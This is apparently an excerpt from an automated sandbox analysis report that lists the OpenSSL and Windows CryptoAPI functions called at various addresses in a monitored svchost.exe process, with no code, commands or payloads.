Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338B4A0 CRYPTO_free,CRYPTO_free,	53_2_00007FFDA338B4A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA335B4B0 CRYPTO_zalloc,	53_2_00007FFDA335B4B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3389540 OPENSSL_cleanse,CRYPTO_free,	53_2_00007FFDA3389540
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3345550 CRYPTO_malloc,CRYPTO_new_ex_data,ERR_new,ERR_set_debug,ERR_set_error,X509_up_ref,ERR_new,ERR_set_debug,ERR_set_error,X509_chain_up_ref,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_up_ref,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_dup_ex_data,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_strdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_memdup,	53_2_00007FFDA3345550
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33AB550 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,memcmp,ERR_new,ERR_set_debug,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA33AB550
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33434E0 CRYPTO_THREAD_write_lock,OPENSSL_LH_delete,OPENSSL_sk_push,OPENSSL_LH_set_down_load,CRYPTO_THREAD_unlock,OPENSSL_sk_pop_free,	53_2_00007FFDA33434E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338D4E0 ERR_new,ERR_set_debug,CRYPTO_free,	53_2_00007FFDA338D4E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33974E0 CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA33974E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332B500 CRYPTO_free,	53_2_00007FFDA332B500
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3335500 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,	53_2_00007FFDA3335500
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3373C30 CRYPTO_zalloc,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3373C30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3323C40 ERR_clear_error,ERR_new,ERR_set_debug,CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,SetLastError,BIO_read,BIO_ADDR_new,BIO_ctrl,BIO_ctrl,BIO_ADDR_free,BIO_write,BIO_ctrl,BIO_test_flags,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,BIO_ctrl,BIO_ADDR_clear,BIO_write,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,BIO_test_flags,BIO_ADDR_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	53_2_00007FFDA3323C40
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A9C40 EVP_MD_CTX_new,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get_security_bits,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_free,EVP_PKEY_get_bn_param,EVP_PKEY_get_bn_param,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,BN_num_bits,BN_num_bits,memset,BN_num_bits,BN_bn2bin,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_get0_name,EVP_DigestSignInit_ex,ERR_new,ERR_set_debug,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,ERR_set_debug,EVP_DigestSign,EVP_DigestSign,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,BN_free,BN_free,BN_free,BN_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA33A9C40
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3329C50 ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,CRYPTO_malloc,CRYPTO_malloc,EVP_PKEY_encapsulate,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,CRYPTO_free,EVP_PKEY_CTX_free,	53_2_00007FFDA3329C50
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3321C50 CRYPTO_zalloc,	53_2_00007FFDA3321C50
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3321BE0 CRYPTO_zalloc,	53_2_00007FFDA3321BE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3327BEE CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA3327BEE
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333BC10 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,	53_2_00007FFDA333BC10
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA339BAA0 ERR_new,ERR_set_debug,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_free,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,OPENSSL_cleanse,OPENSSL_cleanse,CRYPTO_clear_free,CRYPTO_clear_free,	53_2_00007FFDA339BAA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3361A60 CRYPTO_free,	53_2_00007FFDA3361A60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3343A70 CRYPTO_get_ex_data,	53_2_00007FFDA3343A70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3333A70 CRYPTO_free,CRYPTO_free,CRYPTO_free_ex_data,OPENSSL_LH_free,X509_STORE_free,CTLOG_STORE_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OSSL_STACK_OF_X509_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_secure_free,EVP_MD_get0_provider,EVP_MD_free,EVP_MD_get0_provider,EVP_MD_free,EVP_CIPHER_get0_provider,EVP_CIPHER_free,EVP_MD_get0_provider,EVP_MD_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3333A70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3399B33 EVP_PKEY_free,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_new,ERR_new,ERR_set_debug,EVP_MD_get0_name,EVP_DigestVerifyInit_ex,ERR_new,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,EVP_DigestVerify,CRYPTO_free,ERR_new,ERR_set_debug,EVP_MD_CTX_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,	53_2_00007FFDA3399B33
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3399B4A memset,CRYPTO_zalloc,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	53_2_00007FFDA3399B4A
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3347B50 EVP_CIPHER_get_mode,EVP_CIPHER_get_mode,EVP_CIPHER_get_iv_length,ERR_new,ERR_set_debug,EVP_CIPHER_get_key_length,CRYPTO_malloc,ERR_new,ERR_set_debug,	53_2_00007FFDA3347B50
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336BB00 CRYPTO_free,	53_2_00007FFDA336BB00
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33619A0 CRYPTO_malloc,	53_2_00007FFDA33619A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33999B3 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	53_2_00007FFDA33999B3
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33579D0 CRYPTO_malloc,memcpy,BIO_snprintf,BIO_snprintf,CRYPTO_zalloc,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_new_file,BIO_free_all,CRYPTO_free,BIO_free_all,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33579D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3399985 ERR_new,ERR_set_debug,EVP_PKEY_free,ERR_new,ERR_set_debug,OPENSSL_sk_new_null,ERR_new,ERR_set_debug,X509_new_ex,d2i_X509,CRYPTO_free,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,X509_free,OSSL_STACK_OF_X509_free,	53_2_00007FFDA3399985
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA339999C EVP_MD_CTX_new,ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OSSL_STORE_INFO_get_type,OSSL_STORE_INFO_get_type,OSSL_STORE_INFO_get_type,EVP_MD_get0_name,EVP_DigestVerifyInit_ex,ERR_new,ERR_set_debug,OSSL_STORE_INFO_get_type,CRYPTO_malloc,BUF_reverse,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,EVP_MD_CTX_ctrl,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,BIO_free,EVP_MD_CTX_free,CRYPTO_free,	53_2_00007FFDA339999C
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3329A20 EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_is_a,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_derive,ERR_new,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,ERR_new,ERR_set_debug,	53_2_00007FFDA3329A20
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337DA40 CRYPTO_memcmp,	53_2_00007FFDA337DA40
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332DA50 OPENSSL_sk_num,X509_STORE_CTX_new_ex,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_value,X509_STORE_CTX_init,ERR_new,ERR_set_debug,ERR_set_error,X509_STORE_CTX_free,ERR_new,ERR_set_debug,ERR_set_error,X509_STORE_CTX_free,X509_STORE_CTX_set_flags,CRYPTO_THREAD_run_once,X509_STORE_CTX_set_ex_data,OPENSSL_sk_num,X509_STORE_CTX_set0_dane,X509_STORE_CTX_set_default,X509_VERIFY_PARAM_set1,X509_STORE_CTX_set_verify_cb,X509_verify_cert,X509_STORE_CTX_get_error,OSSL_STACK_OF_X509_free,X509_STORE_CTX_get0_chain,X509_STORE_CTX_get1_chain,ERR_new,ERR_set_debug,ERR_set_error,X509_VERIFY_PARAM_move_peername,X509_STORE_CTX_free,	53_2_00007FFDA332DA50
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33938C0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,	53_2_00007FFDA33938C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338B8C0 CRYPTO_free,	53_2_00007FFDA338B8C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33818D0 CRYPTO_free,	53_2_00007FFDA33818D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA335B8D0 CRYPTO_free,CRYPTO_free,OSSL_ERR_STATE_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA335B8D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33578D0 BIO_free_all,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33578D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA339985F memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,memcmp,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,memcmp,memcmp,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,	53_2_00007FFDA339985F
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3327870 CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_free,memset,CRYPTO_free,	53_2_00007FFDA3327870
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338B870 CRYPTO_free,	53_2_00007FFDA338B870
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3387920 ERR_new,ERR_set_debug,CRYPTO_malloc,COMP_expand_block,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA3387920
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3331950 CRYPTO_free,CRYPTO_strdup,	53_2_00007FFDA3331950
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33718E9 CRYPTO_malloc,CRYPTO_free,	53_2_00007FFDA33718E9
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3355FA0 CRYPTO_realloc,	53_2_00007FFDA3355FA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33ABFA0 EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,ERR_new,ERR_set_debug,EVP_PKEY_derive_set_peer,ERR_clear_error,ASN1_item_d2i,ASN1_TYPE_get,ERR_new,ERR_set_debug,EVP_PKEY_decrypt,ERR_new,EVP_PKEY_CTX_ctrl,ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,ASN1_item_free,	53_2_00007FFDA33ABFA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336FFD0 CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA336FFD0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332DF70 CRYPTO_malloc,BIO_snprintf,	53_2_00007FFDA332DF70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3329F90 CRYPTO_malloc,memset,memcpy,memcpy,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,OPENSSL_cleanse,	53_2_00007FFDA3329F90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334A030 OSSL_PROVIDER_do_all,CRYPTO_free,CRYPTO_zalloc,OBJ_txt2nid,	53_2_00007FFDA334A030
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3387FE0 ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get0_cipher,EVP_CIPHER_get_flags,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get0_cipher,EVP_MD_get_size,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_mark,ERR_clear_last_mark,ERR_pop_to_mark,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ERR_clear_last_mark,ERR_new,ERR_set_debug,ERR_clear_last_mark,EVP_CIPHER_CTX_get0_cipher,CRYPTO_memcmp,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	53_2_00007FFDA3387FE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332BFF0 CRYPTO_THREAD_run_once,	53_2_00007FFDA332BFF0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3362000 CRYPTO_free,	53_2_00007FFDA3362000
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3360010 CRYPTO_zalloc,CRYPTO_strdup,CRYPTO_free,	53_2_00007FFDA3360010
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334DEA0 EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,CRYPTO_zalloc,EVP_MAC_CTX_free,EVP_MAC_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MAC_free,EVP_CIPHER_CTX_new,EVP_CIPHER_fetch,OSSL_PARAM_construct_utf8_string,OSSL_PARAM_construct_end,EVP_DecryptInit_ex,EVP_CIPHER_free,EVP_CIPHER_free,EVP_CIPHER_free,EVP_MAC_CTX_get_mac_size,EVP_CIPHER_CTX_get_iv_length,EVP_MAC_final,CRYPTO_memcmp,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,memcpy,ERR_clear_error,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MAC_CTX_free,CRYPTO_free,	53_2_00007FFDA334DEA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3321EC0 CRYPTO_free,	53_2_00007FFDA3321EC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3377EC0 CRYPTO_zalloc,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	53_2_00007FFDA3377EC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3359E60 OPENSSL_LH_free,OPENSSL_LH_free,OPENSSL_LH_free,CRYPTO_free,	53_2_00007FFDA3359E60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3361E70 CRYPTO_realloc,	53_2_00007FFDA3361E70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3395E80 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,OPENSSL_cleanse,memcpy,EVP_MD_get0_name,EVP_MD_is_a,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_cleanse,ERR_new,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,	53_2_00007FFDA3395E80
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3387E90 CRYPTO_malloc,COMP_expand_block,	53_2_00007FFDA3387E90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3349F30 OSSL_PROVIDER_do_all,CRYPTO_malloc,memcpy,	53_2_00007FFDA3349F30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3391F30 CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3391F30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3343F00 CRYPTO_free,CRYPTO_strdup,	53_2_00007FFDA3343F00
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3399DA6 CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	53_2_00007FFDA3399DA6
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3327DA0 CRYPTO_free,	53_2_00007FFDA3327DA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3325DB0 CRYPTO_malloc,	53_2_00007FFDA3325DB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA339BDB0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_is_a,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,RAND_bytes_ex,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_encrypt_init,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,	53_2_00007FFDA339BDB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336BD60 CRYPTO_zalloc,	53_2_00007FFDA336BD60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3343D70 CRYPTO_zalloc,CRYPTO_new_ex_data,CRYPTO_free,	53_2_00007FFDA3343D70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3375E20 CRYPTO_zalloc,OSSL_ERR_STATE_new,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	53_2_00007FFDA3375E20
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3343E50 CRYPTO_free,CRYPTO_memdup,	53_2_00007FFDA3343E50
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338DDE0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,	53_2_00007FFDA338DDE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3349E00 CRYPTO_zalloc,EVP_MAC_fetch,EVP_MAC_CTX_new,EVP_MAC_free,EVP_MAC_CTX_free,EVP_MAC_free,CRYPTO_free,	53_2_00007FFDA3349E00
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332DE10 i2d_X509_NAME,memcmp,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA332DE10
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3373E10 CRYPTO_malloc,CRYPTO_free,	53_2_00007FFDA3373E10
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3399CAA ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,EVP_MD_fetch,ERR_new,ERR_new,ERR_set_debug,EVP_MD_free,EVP_MD_get_size,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,EVP_MD_free,CRYPTO_free,	53_2_00007FFDA3399CAA
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA335FCB0 CRYPTO_free,	53_2_00007FFDA335FCB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3349CC0 EVP_MAC_CTX_free,CRYPTO_free,	53_2_00007FFDA3349CC0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3399CC1 EVP_MD_CTX_new,ERR_new,ERR_set_debug,EVP_MD_CTX_copy_ex,ERR_new,ERR_set_debug,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,	53_2_00007FFDA3399CC1
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3391C70 CRYPTO_realloc,	53_2_00007FFDA3391C70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338FC90 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,memcmp,ERR_new,CRYPTO_memdup,ERR_new,ERR_new,ERR_set_debug,	53_2_00007FFDA338FC90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3375D30 CRYPTO_free,	53_2_00007FFDA3375D30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55CBA86 wcschr,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcschr,_wcsdup,CertOpenStore,GetLastError,free,free,free,free,CryptStringToBinaryW,free,CertFindCertificateInStore,free,calloc,CertFreeCertificateContext,CertCloseStore,free,fseek,ftell,fread,fclose,fseek,malloc,fclose,free,malloc,MultiByteToWideChar,PFXImportCertStore,free,free,GetLastError,CertFindCertificateInStore,GetLastError,CertCloseStore,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strtol,strchr,strncmp,strncmp,strncmp,strchr,CertFreeCertificateContext,free,free,	53_2_00007FFDA55CBA86
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA559E580 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	53_2_00007FFDA559E580
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA559E570 CryptHashData,	53_2_00007FFDA559E570
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55AC4D0 memset,BCryptGenRandom,	53_2_00007FFDA55AC4D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55CB4E0 memset,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	53_2_00007FFDA55CB4E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA559E4F0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,	53_2_00007FFDA559E4F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55CE7A0 CertGetNameStringW,CertFindExtension,CryptDecodeObjectEx,	53_2_00007FFDA55CE7A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55B31A0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	53_2_00007FFDA55B31A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA5581180 CryptAcquireContextW,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	53_2_00007FFDA5581180
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55B3090 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,	53_2_00007FFDA55B3090
